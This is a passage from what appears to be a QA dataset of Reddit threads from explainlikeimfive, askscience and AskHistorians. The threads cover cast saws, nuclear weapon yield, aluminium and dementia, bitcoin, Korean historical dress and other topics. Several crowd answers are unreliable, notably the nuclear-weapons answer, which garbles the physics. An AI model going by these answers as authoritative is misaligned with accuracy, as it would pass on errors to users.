["http://www.nytimes.com/2013/02/20/sports/hockey/larry-kwongs-shift-for-rangers-in-1947-48-broke-a-barrier.html?pagewanted=all&amp;_r=0", "http://www.hockey-reference.com/players/k/kwongla01.html"]]}
{"q_id": "bsy8z0", "title": "how do the saws used to remove casts not break skin?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bsy8z0/eli5_how_do_the_saws_used_to_remove_casts_not/", "answers": {"a_id": ["eorrmp0", "eors165", "eos08x7", "eos5cvx", "eos5zs8", "eosc75a", "eosgjx8", "eosk9me", "eosn368"], "score": [1634, 219, 49, 7, 76, 5, 2, 2, 2], "text": ["It doesn\u2019t actually rotate, it just vibrates back and forth, it \u2018cuts\u2019 through the cast because its hard and sturdy, when it hits your skin it does no damage as your skin actually moves with it due to its flexibility.", "Chances are that it was actually an oscillating saw even if it had a round blade. Those just swing back and forth a little bit. That makes them good at cutting hard things and bad at cutting soft things.", "The saw blade moves back and forward very quickly and only cuts an object that has some solidness to it. The cast being rigid can be cut but human skin moves with the teeth so can't be. \n\nSource: medical engineer and had the exact same thought about a month ago. Tested it out, while it doesn't cut you prolonged pressure does give you a nasty friction burn", "The tool used is called \"oscillating saw\", or as popular in actual trade tools, a \"multitool\". It vibrates back and forth, thus being able to saw through rigid materials, but not really able to di anything to flexible and malleable skin. \n\nThey are also known to be nearly useless for anything but plaster in the trades, so...", "When I was a PA student in my clinical rotations, I was tasked with removing a cast from a child with said cast roving saw. He was terrified so I said \"look, it doesn't hurt me\" and touched it to my palm. Yup, sliced right through like butter. Sadly, I wasn't allowed to practice my suturing skills on myself... Or remove casts. Poor kid'l never be the same.", "Oh, one I know! It uses vibration instead of a chain. The cast can\u2019t vibrate so it breaks. Skin can, so if it hits skin it just feels vibration.", "It's not rotating. It doesn't break the skin because the blade isn't really sharp and the vibrating motion allows your skin to move with it, whereas the stiff cast cannot vibrate like your skin and so breaks apart where the blade hits it. It's called an oscillating tool and the ones made for carpentry can be dangerous due to a wider range of motion and much sharper blade, although they are safer to be around than other types of saws afaik. I used an oscillating tool for woodworking when I was younger to remove a cast with no damage, but I don't recommend others try this.", "They can, I still have a scar from where they cut me removing a cast on my arm. The guy even did the whole trick where he put it on his hand to \u201cprove\u201d it can\u2019t happen. Of course he then proceeded to cut into my arm right after.", "As others have said, it's a vibrating saw. The teeth don't move far enough with each stroke to tear the skin that it touches, since skin is fairly flexible. The skin just vibrates with the blade. Casts on the other hand are made of hard stuff like plaster or fiberglas that only flexes a small distance before the teeth slip and tear away a small amount of material.\n\nThat's the idea anyway. Story time! I still have an 8\" scar on my left arm that proves these saws *can* in fact damage skin. I fell horseback riding as a kid and broke my wrist. The hospital set the bone and then applied a cast before doing another x-ray to check their work. Lucky me, they had to cut off the cast and re-set the bone... At least they caught themselves before I left. I remember complaining that it hurt when they were cutting off the cast, in spite of being dosed with morphine when I first arrived. They insisted it was just the vibration. They re-set it, x-rayed and applied a new cast apparently without removing the underlying dressing. 6 weeks later they cut off the elbow-to-palm cast, exposing the dried blood, scab remnants and scars. For some reason they cut a strip out of the top cast when removing it, which left two parallel scars down my arm, though I can only still see one of them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "38mc0f", "title": "will it ever be possible to make electronics out of organic/bacteria/living material with nano technology?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/38mc0f/eli5_will_it_ever_be_possible_to_make_electronics/", "answers": {"a_id": ["crw4r33", "crw7dqm"], "score": [3, 2], "text": ["Electronics already incorporate a lot of organic molecules, like OLEDs. There is research into [DNA computers](_URL_2_) that can compute basic tasks. There is work on [self-assembling of nano-scale structures with gold films](_URL_3_) and similar. There are [organic batteries](_URL_0_) that convert sugar into electricity. Some scientists are designing [simple synthetic life forms](_URL_1_).\n\nOverall, I'd say all the parts are there but its all in early stages.", "[They're working on it.](_URL_0_)  I can't find it any more, but I remember reading another article that talks about how a particular type of bacteria had been developed that incorporates larges amounts of conductive (metallic?) inclusions within the cell.  They were induced to grow in certain patterns on a substrate which was then heat treated such that the organic parts of the bacteria disintegrate and you are left with a conductive deposit in the pattern of the original bacterial growth.  I wish I can find that article again, because I can't remember how mature/developed the researcher's technique was to creating practical IC circuits."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Biobattery", "http://en.wikipedia.org/wiki/Mycoplasma_laboratorium", "http://en.wikipedia.org/wiki/DNA_computing", "http://www-als.lbl.gov/index.php/holding/739-guided-self-assembly-of-gold-thin-films.html"], ["http://www.newscientist.com/blog/invention/2007/01/bacterial-electronics.html"]]}
{"q_id": "carj63", "title": "why can't you add more uranium or plutonium to make atomic bombs stronger.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/carj63/eli5_why_cant_you_add_more_uranium_or_plutonium/", "answers": {"a_id": ["etalgor", "etamfji", "etape4z"], "score": [10, 3, 3], "text": ["You can, but when you do so, you increase the weight and size of the warhead, thus making it harder to transport via missile, bomb or other delivery device.\n\n & #x200B;\n\nAlso, a lot of the nuclear weapons' power isn't so much about how MUCH plutonium or uranium is in there, but rather, about how EFFICIENTLY that material is converted to energy. If you add some tritium, for instance, it puts more neutrons in the mix when the bomb goes off, which can make the plutonium fission more efficiently and rapidly, and thus yield more destructive power.", "You typically add hydrogen, you light off a fission bomb which has enough power fuse helium and fusion releases a massive amount of power. Hydrogen is way easier to come by than fissile material.\n\n & #x200B;\n\nYou can add more fissile material, but that is hard and the explosive energy you earn is usually not worth it.", "They can, but it's counter productive. Little Boy used 140 lbs of uranium and had a 15 kt yield. Fat Man had 14 lbs of Plutonium and had a yield of 21 kt. Through refinement we've gotten that down to about 20 lbs and 11 lbs respectively, for yields in the hundreds of kilotons.\n\n & #x200B;\n\nNuclear weapons are very inefficient, they cost an outrageous amount of national resources to produce, in research, development, precious materials, and international outrage. If you have fissile material, you want to increase efficiency, which is what everyone has done, because it's easier to do. A lot of the fuel is going to be cast off and contribute to fallout, so if you can increase the amount of conversion of the fuel you're already using, you can make smaller and more powerful bombs. They do this through more efficient compression of the pit and reflecting atom splitting neutrons back into the core.\n\n & #x200B;\n\nThermonuclear weapons use an atomic bomb to compress a second core. This core is about the shape of a paint can with a pipe through the lid to the bottom. The inside is filled with lithium-6 and lithium-7. When you compress this stuff, it fuses, and casts off \"thermal\", fast-moving neutrons. They're moving at 26% the speed of light. The housing of this second stage is uranium-238, which isn't fissile! It's depleted uranium, the same stuff they use in armor piercing tank shells for it's density and hardness. The neutrons fly right through that housing like it's not even there, and if it hits a uranium nucleus, splits it right in half - there's no need for chain reactions here because the core wasn't compressed so that the uranium would chain react, but to cause the fusion of the lithium. But that's the whole point of these cores - to get the heavy elements to split! It doesn't matter how. So it's the housing of the second stage that causes the big, hundreds-of-kilotons to multi-megaton explosions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "209mbt", "title": "Is there any real connection between aluminium and alzheimer's?", "selftext": "I see this \"fact\" from time to time but i've never seen any credible study supporting it.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/209mbt/is_there_any_real_connection_between_aluminium/", "answers": {"a_id": ["cg1l9og"], "score": [6], "text": ["The best answer I can offer is: sort of. But not 'Alzheimer's' per se (as that relates to a specific subtype of dementia, but a dementia syndrome that clinically and histopathologically can resemble Alzheimer's.\n\nFor example, in the dialysis setting, aluminium toxicity is a real and previously-common thing, from the days of using aluminium-containing antacid preparations as phosphate binders. Nowadays calcium-based agents and newer medications are used instead. Additionally, improved filtering of the dialysate has all but eliminated aluminium toxicity in that population.\n\nHowever, aluminium (in high doses) does cause [acute neurotoxicity](_URL_0_), and so called \"dialysis dementia\" was thought to be aluminium-related. Of course, dementia in dialysis patients is confounded by multiple common risk factors.\n\nHowever, there is a marked difference between a dialysis patient on high-doses of aluminium for a long-time, and drawing broad conclusions (as some propose) about the safety of aluminium as a cooking material, water container etc.\n\nSuffice to say, that I would have no concerns about aluminium cookware and the like, and that doses of other toxins in day to day life would far exceed that piddly exposure. Although I am unaware of any direct RCT evidence that looks at such exposure (and I imagine it could never be done robustly).\n\nHope that helps!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed?term=1244532"]]}
{"q_id": "1rizsk", "title": "is this a good time to buy bitcoin, and how do i do it if it is?", "selftext": "And if I made a profit, how would I use it to buy/sell?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1rizsk/eli5_is_this_a_good_time_to_buy_bitcoin_and_how/", "answers": {"a_id": ["cdnqaln", "cdnu7m2"], "score": [2, 3], "text": ["No one knows for sure what the price of Bitcoin is going to do.  It could go up or could go down, certainly lots of people have opinions but no one knows for sure.  So no one can tell you for sure if it's a good time to buy.\n\nPersonally I would say that it is not, but I thought it would not break $300 so what the hell do I know. \n\nIf you buy in, and if the price goes up then you make a profit.  You  can then use the coins to buy goods and services directly or you can change them back into cash (in whatever currency you like).  Technically anyone can sell you things in exchange for bitcoins, but  there aren't that many places to do this yet (but the number of retailers is growing). ", "Bitcoin is not intended to be used for investment, it's intended to be used to perform anonymous online transactions.  If that's your intention, it's always a great time to buy.\n\nIf you plan on speculating on the price going up, it's a pretty volatile thing to get into.  You're basically gambling - hoping that people keep wanting to buy it for more money than you paid before *everyone* walks away from it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1d7net", "title": "Does A Song of Ice and Fire (Game of Thrones) base it's story on any historical events?", "selftext": "I read that Game of Thrones receives some inspiration from The War of Roses in 1455. Is this true? And if so are there any other examples of historical inspiration in the Universe's lore and history?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1d7net/does_a_song_of_ice_and_fire_game_of_thrones_base/", "answers": {"a_id": ["c9nouy0", "c9npz5y", "c9nrxny"], "score": [16, 2, 3], "text": ["I feel it has a very War of the Roses feel about it. Lancaster and York, two Plantaganet houses. It was very cut throat and ruthless, there are a lot of quirky similarities, the biggest I feel is the death of the children from the Targaryens and the death of the children in the Tower _URL_0_ \n\nThen the rise of the King who won from the battle, Henry the 7th/Robert Baratheon... \n\nThe Tudor courts seethed with rumour, spies in every corner... religious upheaval \"The old gods and the new\" - Catholic and Protestant.\n\nThe King who is utterly unstable, willing to run through wives like underwear, Henry 8th/Joffery... also ruthless, ruthless beyond the counting of it. Henry was known for one of the most volatile and explosive tempers. He is said to have told Jane Seymour that he had sent his last wife to the scaffold, and will hear no more of her talk on anything political or else [uncomfortable silence]. \n\nThe rise of a girl Queen despite everyone believing a woman could not rule a country. Elizabeth/Danni. \n\nI very much believe this is based on The War of the Roses, as a historian who studies this period/Tudor history.\n\nEdit: p.s. THANK YOU FOR ASKING A QUESTION TO DO WITH MY AREA! I have been DYING to be able to answer someone's questions!!! ", "It is certainly influenced by a lot of historical or semi-historical events, especially coming from English history. \n\n[This, of course, will be somewhat of a spoiler]\n\nA thing which comes from the top of my head would be Jaime Lannister intimidating Edmure Tully by promising him to send his son via Tr\u00e9buchet.\n\nThis is kind of a historical evergreen, for example \"happening\" to William Marshall (as the suppossed throwing object) as a child. \n(It's detailed here in modern [French](_URL_0_). It's somewhat anticlimatic in this source.)\n\nIt's worth noting that (presumedly to be characterised as coward), Edmure gets intimidated by the threat, whereas in the historical evergreen the threatened normally says something like \"Yeah, whatever, i have all the instruments to make better sons.\", which of course underlines the bravery of the besieged. (The father of William Marshall suppossedly said something like this as did Catherina Sforza during the Siege of Forl\u00ec). ", "I agree that War of the Roses is the most obvious inspiration, but I also think there are some secondary influences from the Yugoslav Wars.  George RR Martin wrote the first book from 1991-1996, when the Croatian and Bosnian Wars were a big deal for American foreign policy and got a lot of popular news coverage.  It started out with six republics of Yugoslavia, each with differing cultures, started fighting for autonomy.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Princes_in_the_Tower"], ["http://ia600302.us.archive.org/22/items/lhistoiredeguill03meyeuoft/lhistoiredeguill03meyeuoft_bw.pdf"], []]}
{"q_id": "4mi36u", "title": "Why was admiral D\u00f6nitz Hitlers' successor and not some long time party member?", "selftext": "I would at least expect an army general, why D\u00f6nitz?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4mi36u/why_was_admiral_d\u00f6nitz_hitlers_successor_and_not/", "answers": {"a_id": ["d3vux0w"], "score": [27], "text": ["Karl D\u00f6nitz wasn't Hitlers *successor*. Hitler named him Reichspr\u00e4sident. After Hindenburg died in 1934 Hitler united Reichskanzler (which he was) and Reichspr\u00e4sident (which Hindenburg was). He transfered the powers of the Reichspr\u00e4sident to himself with the [\"Law of the Head of State of the German Reich\"](_URL_0_) which was approved by a referendum. After this Hitler called himself \"F\u00fchrer und Reichskanzler\" and the Reichspr\u00e4sident as an office and name disappered.\n\nIn his political will Hitler decided to split the offices of Reichspr\u00e4sident and Reichskanzler again. He named Karl D\u00f6nitz Reichspr\u00e4sident and Josef Goebbels Reichskanzler. \n\nOne day after Hitler killed himself Goebbles commited suicide with his wife and killed all of his children. D\u00f6nitz who was now Reichspr\u00e4sident didn't name a new Reichskanzler. \n\nI think those informations are important for your question. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://de.wikisource.org/wiki/Gesetz_%C3%BCber_das_Staatsoberhaupt_des_Deutschen_Reichs"]]}
{"q_id": "1vojlf", "title": "Whatever happened to Turbo-electric drive on Battleships?", "selftext": "It briefly appeared in the US on New Mexico (BB-40), the Tennessee class (BB-43 and 44), the Colorado class (BB-45 to 48), and then disappeared on the Treaty ships, of the North Carolina, South Dakota, and Iowa classes. Does anyone know why?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1vojlf/whatever_happened_to_turboelectric_drive_on/", "answers": {"a_id": ["ceugnfj"], "score": [2], "text": ["Turboelectric drives of the time were heavier than their direct or geared drive counterparts. A turboelectric drive has to have a generator for each turbine and a motor for each propeller shaft, along with electrical switchgear to shunt power around in case of damage or changing throttle on independent shafts.\n\nIn 1922, the Washington Naval Treaty imposed limitations on ship displacement. Ship designers had to adjust their priorities to make battleships as effective as possible while remaining within treaty rules. The extra weight of turboelectric drives meant that Treaty battleships scrapped TE drive in favor of mechanical transmission.\n\nTE drives also suffered a reputation of fragility under fire. At least one source seems to think that this was undeserved, however I am not qualified to give my opinion on that one way or the other.\n\nSource: \"Turboelectric Drive in American Capital Ships\" by Joseph Czarnecki  < [link](_URL_0_) > "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.navweaps.com/index_tech/tech-038.htm"]]}
{"q_id": "2h87m6", "title": "Why didn't the crusaders tear down the Dome of the Rock?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2h87m6/why_didnt_the_crusaders_tear_down_the_dome_of_the/", "answers": {"a_id": ["ckqjuoj", "ckqling"], "score": [17, 10], "text": ["Because they used it of course! Just for some preliminary context [this](_URL_0_) is the Dome of the Rock that everyone knows about. But the Temple Mount is also home to [Masjid Al-Aqsa](_URL_1_). It is actually this which is the 3rd holiest site in Islam, not the DotR. This was the first directions towards which Muslims prayed. Incidentally, it is holy because it was mentioned in the Quran, despite the mosque not even existing then, as the site from which the Night Journey and Muhammad's trip to Heaven took place. The exact location where he left this dimension or whatever? The namesake rock of inside the dome. But I digress.\n\nAnyways, back to your actual question, after capturing the city the Crusaders turned the DotR into a Church, and turned Al-Aqsa into a Palace and then it later served as a headquarters for the Knights Templar for nearly a century. In fact, many works of Templar architecture is modeled after the Dome and also the Church of the Holy Sepulcher. ", "As /u/Cyrus47 has already mentioned, the Temple Mount was renovated and consecrated as a Christian religious site, the Church of the *Templum Domini*, in 1141. The Temple Mount became integral in the liturgical processions and ceremonies, as well as an integral in the coronation rites of the Latin rulers of Jerusalem.\n\nThe Temple Mount exercised a strong pull on the Latin kingdoms of the twelfth century. The site is, of course, pivotal in Judaism, Christianity, and Islam and the association of the complex with Solomon was so strong that as early as the ninth century, a Frankish monk by the name of Bernard identified the Dome of the Rock as the actual Temple of Solomon. Fulcher of Chartres makes frequent reference to the site, identifying it as Solomon's Temple (I'll need to check when I get home whether or not he believed it as the Temple). Opinions on the nature of the physical site weren't monolithic; some crusaders identifying the structures as ancient structures erected by past emperors to commemorate events in the life of Jesus that occur at the Temple Mount. Likewise the al-Aqsa mosque features prominently in the minds of contemporaries, at times being interpreted as either the temple and/or Solomon's palace. It is no surprise that the site would become the center of government, the Latin kings inheriting the tradition of Solomon himself. \n\nIn essence, the crusaders did not tear down the Dome of the Rock because, whether in actuality or in representation, the Temple Mount was strongly associated and read in the context of its relationship with the Temple of Solomon itself. Why this happens is a bit mystifying; the Dome of the Rock, after all, was not unknown to the Latin West and was not heavily associated with the Temple of Solomon by the Byzantines in the years following its construction. Jerrilyn Dodds suggests that the antiquity of the constructions combined with the site's impressive appearance (compared to the dilapidated Holy Sepulchre), presented a formidable and awe-inspiring image to the crusaders following the the capture of the city. David Morris, writing on crusading imaginings of Jerusalem emphasizes the eleventh and twelfth century tendency to read apocalyptic and eschatological meaning into the physical world, what he refers to as the self-actualization of Scripture. Contemporary events and places were read in terms of their biblical antecedents or their cosmological parallels, such that the eternal and the temporal blend together. In such a sense the Dome of the Rock becomes the Temple of Solomon. The result is that the value projected onto the Dome of the Rock and the al-Aqsa mosque by the crusaders ensured their role as prominent religious centers throughout the period, becoming holy sites integral in the liturgical practices of the Latin kingdom.\n\nFurther Reading:\n\n1. Morris, David. \"The Servile Mother: Jerusalem as Woman in the Era of the Crusades,\" in N. Paul and S. Yeager (eds.), *Remembering the Crusades: Myth, Image, and Identity*. (Baltimore: Johns Hopkins University Press, 2012), 174-194.\n\n2. Dodds, Jerrilynn, \u201cRemembering the Crusades in the Fabric of Buildings Preliminary Thoughts about Alternating Voussoirs,\" in N. Paul and S. Yeager (eds.), *Remembering the Crusades: Myth, Image, and Identity*. (Baltimore: Johns Hopkins University Press, 2012), 99-124."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://blogs.cornellcollege.edu/islam/files/2014/01/dome_of_the_rock13235570190061.jpg", "http://moonsighting.com/images/aqsa/masjid-aqsa.jpg"], []]}
{"q_id": "6pjr2e", "title": "how does one sell their soul to satan?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6pjr2e/eli5_how_does_one_sell_their_soul_to_satan/", "answers": {"a_id": ["dkpuawv"], "score": [3], "text": ["It's a simple process.  Disavow any religion, never give respect to religious procedure or show reverence towards priests, bishops, etc.\n\nMake sure not to follow any moral teachings, unless you're just a nice person and you feel like it.\n\nAnytime someone tries to proselytize you, openly mock them.\n\nGamble once a week, lie once a day, and steal once a month.\n\nOr make it up as you go."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "56atk0", "title": "NSFW - Korea Bare breasted woman around 1890?", "selftext": "Hi Folks,\n\nI was in /r/HistoryPorn and saw this picture: _URL_0_\n\nWhat surprised me is that she indeed has her breast bare and I was wondering why this would be.\n\nFrom what I can see in the picture, they could make clothes (although it does seem quite restrictive just above the breasts) so that can't be the reason.\n\nIt's stated that she just had  a son, could it be to facilitate feeding the young one? If that's so, wouldn't there be easier ways?\n\nAnyways, anyone know anything about this type of dress? Was it common in Korea at that time? Any explanation as to why she would run with her breasts bare?\n\nMany thanks ;)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/56atk0/nsfw_korea_bare_breasted_woman_around_1890/", "answers": {"a_id": ["d8hu47w", "d8hzjhs", "d8i4fkm", "d8j6i0g"], "score": [136, 182, 834, 12], "text": ["Quick question.  Is that a smoking pipe she's holding, and was it common for women to smoke at that time?", "Hi, friends,\n\nAskHistorians is a place to connect people with questions about history and those who have expert-level knowledge in the topic at hand. Our users happily expect that the answers they receive will be **in-depth, comprehensive, and reflective of current academic scholarship on the topic.**\n\nContrary to what your cleverly-named pub quiz trivia team might wish, expert-level knowledge does not include:\n\n* Speculation (11)\n* Facts about other historical contexts (2)\n* Personal stories (2)\n* Miscellaneous rudeness (2)\n* Wikipedia (6) \n* LMGTFY (6)\n* Complaints about not being able to read any of the above (2)\n\nPlease don't make those numbers out of date. You may consider this post your collective warning. Writing up a great answer can take some time for even (especially!) the best of historians. We ask your patience in the meanwhile.\n\nThanks!", "Yes, having clothing that bared the breasts was a thing that happened in the late Joseon Period and the practice died out around the time of the Korean War in the mid 20th century. \n\nBaring your breast was not really considered to be inappropriate (however being completely nude absolutely was). \n\nThey definitely could make clothes haha. These were intentional baring of the breasts. There are several theories for this and it isn't clear when or how the fashion originally started. \n\nThe main interest in the practice came from, as one might expect, foreigners who visited Korea. For example, [take this letter](_URL_0_) from Sept 2, 1897. \n\n > Scores of naked babies slept on their mothers' backs, or crawled about, or took lusty nourishment from bare breasts left uncovered between the skirt and the little jacket of the married woman's dress. \n\nIt should be noted that children being naked was very common in Korea, especially rural Korea, even well into the 20th century. \n\nWestern observer interest in casually bared breasts, especially in an otherwise incredibly sexually reserved and controlled society, is hardly surprising. \n\nMany of photographic examples that we have today actually are photos taken for postcards (or are those postcards themselves), sent back home to shock and entertain as much as it was for records of posterity. (Really not much different from much Western interest in seeing nude tribal women photos today.)\n\nThe clothes did indeed signify the wearer was a mother, and more importantly, that her child was a son. In extremely Confucian Joseon Korea, having a son was much more desirable than having a daughter and mothers would proudly announce to their community when they bore a son. It is said that mothers would often bare their breasts in public in these clothes and breastfeed as a sign of pride. \n\nIt is not known if this is exactly how this fashion began but the reason was readily repeated by the Koreans themselves, so who knows. \n\nWhile many of the [photographs](_URL_1_) and postcards were staged and are a foreign lens into the fashion of baring breasts, there are also native art forms that depicted it such as [paintings](_URL_2_) or even [statues](_URL_3_).\n\nLet me know if you have more questions!", "There are already great responses here and I just want to contribute to this thread with more information.\n\n#Brief Photograph Information\n\nThe image above was released by Jung Sung Gil, honorary director of museum of Gemyung University in Korea. Director Jung dedicated forty years of his life collecting, restoring, and preserving Korean history. I wrote more about him down below because I did not want to digress too far from the original topic but do check it out because he is awesome. \n\n*********\n#Why is it Controversial?\n\nKorea has been known as \ub3d9\ubc29\uc608\uc758\uc9c0\uad6d (dong-bang-yeh-eui-ji-guk) which roughly translates to \u201cEastern Country of Courtesy\u201d. This is because Korean society valued (and still values) respect, courtesy, morality, and etiquette very seriously. \n\nAs a result, when the picture above was released (because it looks scandalous), it caused lots of drama among the public as well as the scholars of history and culture.\n\n#Different Opinions\n\nSome researchers who studied traditional folk costumes/clothing argued that about 100 years ago wearing shorter juh-go-li (the jacket wore on top, more examples shown [here](_URL_15_) and [here](_URL_9_)) was a trend so it was easy for breasts to be exposed during labor. The photograph also enraged many due to portraying breast exposing Korean women as \u201ca byproduct of Western Orientalism\u201d as said by OP.\n\nOn the contrary, Director Jung (director of museum of Gemyung University) stated that this picture captures the extremely popular male-preference ideology during that time period. (Similar to the Western culture, sons were preferred over daughters in Korea, especially because Koreans really valued the idea of continuing the family name and legacy. Although earlier Korean history, for instance, during Shinla dynasty and Goryeo dynasty, shows fairly equal treatment of both women and men, when Joseon dynasty adapted Confucianism, the treatment of women in society changed because Confucianism ranks the \u201corder of importance\u201d, placing men over women.)\n\nTherefore, according to Director Jung, it was not embarrassing (or necessarily seen as a bad thing) to expose breasts but was actually good to \u201cshow-off\u201d that a woman gave birth to a boy.\n\nThe following are more photographs of breast-exposing women from Director Jung Sung Gil's collection. (Note that the titles are rough translations done by me so they are not official translations of the original Korean titles.)\n\n********\n\n#[Photograph 1](_URL_16_).\n\n**Title: \uc544\ub4e4\uc790\ub791 \ud655\uc778 (Confirmation of Son-Bragging)**\n\nExplanation: According to Director Jung, this photograph was taken by a foreign Associated Press photographer who came to Korea as a war correspondent during the Korean War. He went to a village as a volunteer and took this photo of a woman proudly showing off her son to other people.\n\n*********\n\n#[Photograph 2](_URL_12_).\n\n**Title: \uc9d1\uc548 \uc544\ub4e4\uc790\ub791 (Showing off a Son in the Family)**\n\nExplanation: The women in the photograph are doing what is called \ub2e4\ub4ec\uc774\uc9c8 (da-deumi-jil) which is straightening of clothes. It is different from ironing because heat is not applied to clothes. They beat the laundry (wet with special kind of glue) until it becomes straight. More examples of da-deumi-jil [here](_URL_4_ )) \nWomen purposely exposing breast to show off that she gave birth to a boy.\n\n*********\n\n#Photograph 3.\n\n[Part 1](_URL_10_)\n\n[Part 2](_URL_8_)\n\n**Title: \uc816\uac00\uc2b4 \uc758\ub3c4\uc801 \ub178\ucd9c (Intentional Breast Exposure)**\n\nExplanation: The woman in the photograph is doing what is called \ub2e4\ub9bc\uc9c8 (da-lim-jil) which is same thing as ironing. Notice that unlike the previous picture 2, she is using a heated \ub2e4\ub9ac\ubbf8 (da-li-mi) or an clothing iron. One would place a hot coal in the bowl to heat the metal up to iron the clothes. Sometimes sparks from the coal would burn the clothes or skin.\n\n**********\n\n#[Photograph 4](_URL_11_).\n\n**Title: \ub538 \ub0b3\uc740 \uc5ec\uc778\uc758 \uc800\uace0\ub9ac (Ju-go-li of a woman who gave birth to a girl)**\n\nExplanation: This is a picture of a woman who gave birth to a girl so even though her ju-go-li (top jacket) is very short, her breast are not exposed.\n\n***********\n\n#[Photograph 5](_URL_6_).\n\n**Title: \uac19\uc740 \uc790\uc138 \ub2e4\ub978 \ubcf5\uc7a5 (Same Pose Different Outfit)**\n\nExplanation: Three women are standing in a similar pose, carrying a basket on top of their heads. Two women are exposing breast but the woman on the far right is not. This disproves some opinions of folklorists and scholars of traditional folk costumes/clothing who argue that breast exposure was simply due to trendy shorter top/jacket designs (and therefore naturally exposing breasts).\n\n***********\n\n#[Photograph 6](_URL_13_).\n\n**Title: \uc544\ub4e4\uacfc \ud568\uaed8 \uc816\uac00\uc2b4 \ub178\ucd9c (Exposing breast with Her Son)**\n\nExplanation: This woman who is also carrying a large basket on her head is exposing her breasts as well. Unlike the previous picture 5, her arms are down and she is standing straight. This further shows that breast exposure was not because of shorter ju-go-li designs but was actually symbol of pride of giving birth to a son. Also the boy in the picture is very cute.\n\n**********\n\n#Further Notes:\n\n* This topic of breast-exposing women were also discussed and written in the dairy of [Oliver R. Avison](_URL_17_), who was a Canadian missionary/doctor living in Korea from June of 1892 to November of 1935. He served as the fourth director of [Chejungwon](_URL_14_) (the very first western hospital in Korea by government of Joseon dynasty) and also the principal at the Severance Medical School.\n\n \n* He-won Shin Yoon Bok was a renowned Genre artist of the late Joseon dynasty (period from 1637 to 1897). He painted lots of day-to-day lives of ordinary Koreans (painting topics: pocking fun at the government officials, satirical paintings, romantic relationship between lovers, beauty of women, etc.) You can read more about the artist and his works [here](_URL_5_).\nOne of his art works is the  [ < \uc544\uae30 \uc5c5\uc740 \uc5ec\uc778 > ](_URL_1_) (roughly translates to \u201cA Woman Piggybacking a Child\u201d) \nA woman piggybacking a baby is painted with her breasts exposed. Her specific style of clothes indicate she is a \uae30\uc0dd (gi-seng), female artists who worked to entertain others such as \uc591\ubc18 (yangban) or noblemen and sometimes kings.\nMore about them [here](_URL_2_) if you are interested.\n \n \n* Gi-san Kim Joon Geun, another great Genre artist during the 19th century, painted[  < \uc300 \uc4f8\ub09c \ubaa8\uc591 > ](_URL_7_) which portrays two women pounding grain in a mortar. One of the women is bearing her breasts. His other work [ < \ubc2d\uc73c\ub85c \uc810\uc2ec \uc774\uace0 \uac00\ub294 \ubaa8\uc591 > ](_URL_0_) (Carrying Lunch to the Field) also shows a breast-exposing woman (mother) with her son who is not wearing any pants. Another example of intentional breast exposure to show off birthing of sons. Similar to Shin Yoon Bok, Kim Joon Geun also painted many artworks portraying ordinary lives in Joseon dynasty so if you want to check them out, click [here](_URL_3_). Website is in Korean but you can still view the paintings. If you have any questions about any of them, please let me know and I would be more than happy to explain!)\n\n**********\n\n#Sources:\n\n* Korea Times, 3 July 1985.\n\n* \uae00\ub9c8\ub8e8 Geulmaru Magazine, 4th Anniversary Special Edition, written by Baek Eun Yung.\n\n* \ubbfc\uc911\uc758 \uc18c\ub9ac Voice of the People Newspaper, November 2013, article written by Kim Han Su.\n"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/X5W63uV.png"], "answers_urls": [[], [], ["http://i.imgur.com/q1l45Yc.jpg", "http://i.imgur.com/0FV4oJg.jpg", "http://i.imgur.com/lzG9i3i.jpg", "http://i.imgur.com/swebhQN.jpg"], ["http://archive.hansik.org/media/open/visual/2014/1030-SAULjfnoCY.600x400.jpg", "http://cfs8.blog.daum.net/image/35/blog/2008/11/19/05/10/492321434d993&amp;filename=%EC%8B%A0%EC%9C%A4%EB%B3%B5.%EC%95%84%EA%B8%B0%EC%97%85%EC%9D%80%EC%97%AC%EC%9D%B8..jpg", "https://en.wikipedia.org/wiki/Kisaeng", "http://m.blog.daum.net/kimkyoc/1013", "https://upload.wikimedia.org/wikipedia/commons/a/a2/Korean_women-ironing_with_sticks-1910s.jpg", "https://en.wikipedia.org/wiki/Shin_Yun-bok", "http://geulmaru.co.kr/data/cheditor4/1409/05c19b1c9c3a2dd6c42f8373f167ec8c_1411736814.3.jpg", "http://cfile201.uf.daum.net/image/1223AE284A865ACF57024C", "http://geulmaru.co.kr/data/cheditor4/1409/05c19b1c9c3a2dd6c42f8373f167ec8c_1411736775.02.jpg", "http://cfile1.uf.tistory.com/image/137EB6384F09140B215F84", "http://geulmaru.co.kr/data/cheditor4/1409/05c19b1c9c3a2dd6c42f8373f167ec8c_1411736774.87.jpg", 